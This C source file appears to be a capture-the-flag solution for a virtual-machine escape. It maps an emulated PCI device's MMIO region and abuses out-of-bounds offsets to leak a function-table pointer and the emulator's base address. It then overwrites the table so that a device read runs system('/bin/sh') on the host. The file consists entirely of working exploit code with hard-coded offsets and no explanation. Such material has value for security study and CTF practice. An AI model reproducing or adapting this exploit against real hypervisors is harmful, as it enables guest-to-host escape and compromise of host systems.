#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/io.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#define MMIO_SET_OFFSET 0x0
#define MMIO_GET_DATA 0x8
#define MMIO_SET_DATA 0x8
unsigned
char
* mmio_mem;
void
mmio_write(uint64_t addr, uint64_t value) {
*(uint64_t*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr) {
return
*(uint32_t*)(mmio_mem + addr);
}
uint64_t weak_read_8(uint64_t offset) {
mmio_write(MMIO_SET_OFFSET, offset);
uint64_t lower_val = mmio_read(MMIO_GET_DATA) & 0xFFFFFFFF;
mmio_write(MMIO_SET_OFFSET, offset + 4);
lower_val += ((mmio_read(MMIO_GET_DATA) & 0xFFFFFFFF) << 32);
return
lower_val;
}
void
weak_write_8(uint64_t offset, uint64_t value) {
mmio_write(MMIO_SET_OFFSET, offset);
mmio_write(MMIO_SET_DATA, value & 0xFFFFFFFF);
mmio_write(MMIO_SET_OFFSET, offset + 4);
mmio_write(MMIO_SET_DATA, value >> 32);
}
void
weak_write_4(uint64_t offset, uint64_t value) {
mmio_write(MMIO_SET_OFFSET, offset);
mmio_write(MMIO_SET_DATA, value & 0xFFFFFFFF);
}
int
main() {
int
mmio_fd = open(
"/sys/devices/pci0000:00/0000:00:04.0/resource0"
, O_RDWR | O_SYNC);
mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if
(mmio_mem == MAP_FAILED) {
fprintf
(stderr,
"[!] mmio error\n"
);
exit
(1);
}
puts
(
" mmio done"
);
uint64_t leaked_ops = weak_read_8(-0xc8);
printf
(
"leaked_ops = 0x%016lx\n"
, leaked_ops);
uint64_t pie_base = leaked_ops - 0xD1D100;
printf
(
"pie_base = 0x%016lx\n"
, pie_base);
uint64_t opaque = weak_read_8(-0xc0);
uint64_t buf_addr = opaque + 0xBF8;
weak_write_8(0x10, 0x68732f6e69622f);
uint64_t binsh_addr = buf_addr + 0x10;
uint64_t mmio_write_addr = pie_base + 0x3ae1b0;
uint64_t system_plt = pie_base + 0x324150;
weak_write_8(0x0, system_plt);
weak_write_8(0x8, mmio_write_addr);
weak_write_8(-0xc8, buf_addr);
weak_write_4(-0xc0, binsh_addr);
mmio_read(0x0);
}